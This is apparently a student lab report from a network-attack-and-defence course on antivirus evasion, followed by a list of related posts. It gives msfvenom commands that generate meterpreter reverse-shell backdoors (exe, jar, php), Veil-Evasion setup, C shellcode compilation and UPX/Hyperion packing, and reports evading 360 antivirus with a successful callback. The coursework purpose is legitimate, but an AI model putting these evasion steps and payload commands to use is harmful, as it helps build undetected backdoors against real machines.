Exp3 免杀原理与实践 

1. 实践内容

1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

1.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本


 2.基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码检测:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码
  • 启发式恶意软件检测:如果一个软件做一些恶意软件部分特征相同,就把它当作恶意软件,判断不够精确
  • 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控

(2)免杀是做什么?

免杀是降低恶意软件被杀软发现概率的技术。

(3)免杀的基本方法有哪些?

  • 改变特征码:只有EXE(加壳);有shellcode(利用shellcode生成可执行文件);有源代码(用其他语言进行重写再编译)
  • 改变行为:改变通讯方式和操作模式
  • 手工打造一个恶意代码

3.实践过程记录

一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

(1)正确使用msf编码器

输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.

1.103  LPORT=4301 -f exe > met-encoded.exe生成后门 met-encoded.exe

将用msf命令生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下,免杀效果很差

(2)msfvenom生成如jar之类的其他文件

输入指令msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.103 lport=4301 x>

01_backdoor.jar 生成jar文件

将用msf命令生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下

输入命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.103 lport=4301 x> 20164301_backdoor.php

生成php后门

将用msf命令生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下

(3)veil-evasion

安装veil-evasion,输入sudo apt-get install veil命令

结果安装了好多次都失败了。

后来输入以下命令来安装

sudo apt-get -y install git

sudo apt-get -y install git

git clone https://github.com/Veil-Framework/Veil-Evasion.git

mv Veil-Evasion /opt

cd /opt/Veil-Evasion/

bash setup/setup.sh -s

安装成功,输入veil进入

输入use

找到c/meterpreter/rev_tcp ,输入6

设置反弹连接IP:192.168.132.129

设置端口为4301

生成文件4301-payload.exe

在/usr/share/veil-output/comiled目录下,可找到4301-payload.exe

将用veil生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下

(4)使用shellcode编程

新建shellcode.c文件

输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4301 -f c

生成一段c语言格式的数组

主函数调用buf[]

再输入i686-w64-mingw32-g++ shellcode.c -o Shellcode.exe命令,交叉编译生成Shellcode.exe

将c语言调用的shellcode后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下

传输到win

放入win后,立刻被360查杀

(5)加壳工具

1.压缩壳

输入命令upx 4301-payload.exe -o 4301-payload.upxed.exe,对上面veil生成的后门进行加壳

将c语言调用shellcode用压缩壳命令生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下

2.加密壳

将shellcode.upxed.exe(之前尝试c语言调用加压缩壳生成的),放入/usr/share/windows-binaries/hyperion

wine hyperion.exe -v shellcode_upxed.exe shellcode_upxed_Hyperion.exe命令进行加壳

生成shellcode_upxed_Hyperion.exe

将c语言调用shellcode用加密壳命令生成的后门程序的放到http://www.virscan.org/language/zh-cn/中扫描结果如下

二、通过组合应用各种技术实现恶意代码免杀

用了c语言调用shellcode+压缩壳,杀软共生的结果

回连成功

三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

被控主机:win7

杀软:360杀毒(360安全卫士)  程序版本5.0.0.8140(64位)

又重新 c语言调用+压缩壳 ,生成一个新的shell.exe

将shell_upxed.exe传到另一台电脑后,发现360杀软暂时杀不出来

回连成功

用家里的电脑做的,ip地址为192.168.1.102

我的虚拟机经过网络适配器调为桥接后的IP地址为192.168.1.103


 4.实验心得

这次实验相比前两次比较麻烦,首先安装veil就安装了很多次才装好,其次生成各种组合技术免杀的程序很多刚传到win上就被360

杀毒软件清理掉了,尝试了很多次组合最后发现c语言调用shellcode加压缩壳容易成功,不被检测出来。用另一台电脑实测时,出现回

连不上的状况,后来设置了网络适配器,重启,ping通后,完整的做了一遍,重新生成了c语言调用shellcode加压缩壳的后门,传到另

一台电脑上未被杀软检测出,最终回连成功。通过这次实验不仅了解了恶意代码的免杀技术,还意识到自己的实际操作能力需要提升,

应该不断尝试。

20164301 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. Spring Cloud分布式微服务云架构

    分布式.微服务.云架构 JAVA语言开发.跨平台.高性能.高可用.安全.服务化.模块化.組件化.驱动式开发模式 commonservice eurekaNetflix 云端服务发现,一个基于 REST ...

  2. 更改TestStep的request header和获取TestStep的response header

    更改TestStep的request header for example def userId = "xxxxxxxxxxxxx" def request = context.t ...

  3. Python函数的一点用法

    #python的基本语法网上已经有很多详细的解释了,写在这里方便自己记忆一些 BIF是python内置的函数,任何一门语言都能用来创造函数,python也不例外 1.创建一个函数 def func() ...

  4. rabbitmq web 管理系统的信息

    rabbitmq web 管理系统的信息   端口 15672 帐号密码 guest/guest 要开启web 管理, 需要手动执行命令: rabbitmq-plugins enable rabbit ...

  5. [server]利用python构建的服务器地址问题

    http://0.0.0.0:8000/ 利用github开源项目搭建AI上色师时,遇到了建立server却无法访问的问题,ip如上. 其实很简单,0.0.0.0并不是有效的ip地址,用localho ...

  6. HTML+css基础认识

    标签:<div><span                                                                              ...

  7. 通过重写request.getParameter方法来解决中文乱码问题。

    在原生servlet的商城项目中,BeanUtils.populate方法封装不上注册的参数. 已知BeanUtils.populate方法是封装不上date对象的,于是自定义了一个转换器用来封装Da ...

  8. Moya https配置方法

    准备 iOS做https适配时对服务器是有一定要求的,服务端必须要是一个符合ATS(App Transport Security)要求的HTTPS.简单说要满足以下几个要求:   1.Transpor ...

  9. day 21 内存管理,正则

    一.内存管理 1.垃圾回收 不能被程序访问到的数据,就称之为垃圾. 2.引用计数 引用计数是用来记录值得内存地址被记录的次数 每一次对值地址的引用都可以使得该值的引用计数+1 每一次对值地址的释放都可 ...

  10. 关于实时监听input的值得变化的问题

    onchange 关于input的onchange事件  其实是有出发条件的  并非实时监听的 1.鼠标点击事件  或者键盘事件(tab和wins键都可以触发  enter在ie9时不触发,火狐和ch ...